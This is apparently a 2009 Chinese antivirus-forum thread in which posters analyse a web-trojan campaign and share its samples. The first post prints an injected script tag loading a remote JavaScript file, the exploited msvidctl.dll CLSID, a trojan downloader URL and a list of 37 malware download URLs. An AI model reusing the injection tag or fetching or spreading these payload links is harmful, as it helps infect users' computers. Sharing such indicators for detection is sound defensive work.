公开一个网马的下载列表

coderui

挂马语句：
<script language="javascript" src="http://officeon.viens.la/office.js?google_ad_format=728x90_as"></script>

利用最新“Microsoft DirectShow --- msvidctl.dll（MPEG2视频组件）”漏洞进行传播：
clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF

网马的病毒下载地址：
http://kaixin8080.com/svchost.exe

木马下载器“svchost.exe”中的病毒下载列表地址(经过解密)：
http://nbnb1111.com/aa1dfh.txt

病毒下载列表“http://nbnb1111.com/aa1dfh.txt”中的内容：
------------------------------------------------------------------------
1:http://61.145.62.67/aa1.exe
1:http://61.145.62.67/aa2.exe
1:http://61.145.62.67/aa3.exe
1:http://61.145.62.67/aa4.exe
1:http://61.145.62.67/aa5.exe
1:http://61.145.62.67/aa6.exe
1:http://61.145.62.67/aa7.exe
1:http://61.145.62.67/aa8.exe
1:http://61.145.62.67/aa9.exe
1:http://61.145.62.67/aa10.exe
1:http://122.224.6.55/aa11.exe
1:http://122.224.6.55/aa12.exe
1:http://122.224.6.55/aa13.exe
1:http://122.224.6.55/aa14.exe
1:http://122.224.6.55/aa15.exe
1:http://122.224.6.55/aa16.exe
1:http://122.224.6.55/aa17.exe
1:http://122.224.6.55/aa18.exe
1:http://122.224.6.55/aa19.exe
1:http://122.224.6.55/aa20.exe
1:http://59.34.197.153/aa21.exe
1:http://59.34.197.153/aa22.exe
1:http://59.34.197.153/aa23.exe
1:http://59.34.197.153/aa24.exe
1:http://59.34.197.153/aa25.exe
1:http://59.34.197.153/aa26.exe
1:http://59.34.197.153/aa27.exe
1:http://59.34.197.153/aa28.exe
1:http://59.34.197.153/aa29.exe
1:http://59.34.197.153/aa30.exe
1:http://59.34.197.153/aa31.exe
1:http://59.34.197.153/aa32.exe
1:http://59.34.197.153/aa33.exe
1:http://59.34.197.153/aa34.exe
1:http://59.34.197.153/aa35.exe
1:http://59.34.197.153/aa36.exe
1:http://59.34.197.153/1.exe
------------------------------------------------------------------------

[ 本帖最后由 coderui 于 2009-7-13 09:07 编辑 ]

angir

上传微点特征漏的
LZ最好把文件打包啊。。
我下载得满头大汗的

llzy3575

汗
是微点特征码漏的啊
难怪不是完整的

上传完整包

[ 本帖最后由 llzy3575 于 2009-7-14 15:37 编辑 ]

angir

把微点报特征的提取出来了。。。
ps:谢谢人气

angir

把微点报特征的都发上来了

llzy3575

我已经传上来了
aa8、aa27、aa34不能下载

angir

。。。
站着说话不腰疼
你一个一个地点击下载。。。
大热天的，一台风扇。。。

llzy3575

LL miss4，上报

angir

原帖由 llzy3575 于 2009-7-14 15:38 发表
我已经传上来了
aa8、aa27、aa34不能下载

27下载不了吗？
我的微点特征那里有吧？

sam.to

http://bbs.kafan.cn/thread-517947-1-1.html
跟这个一样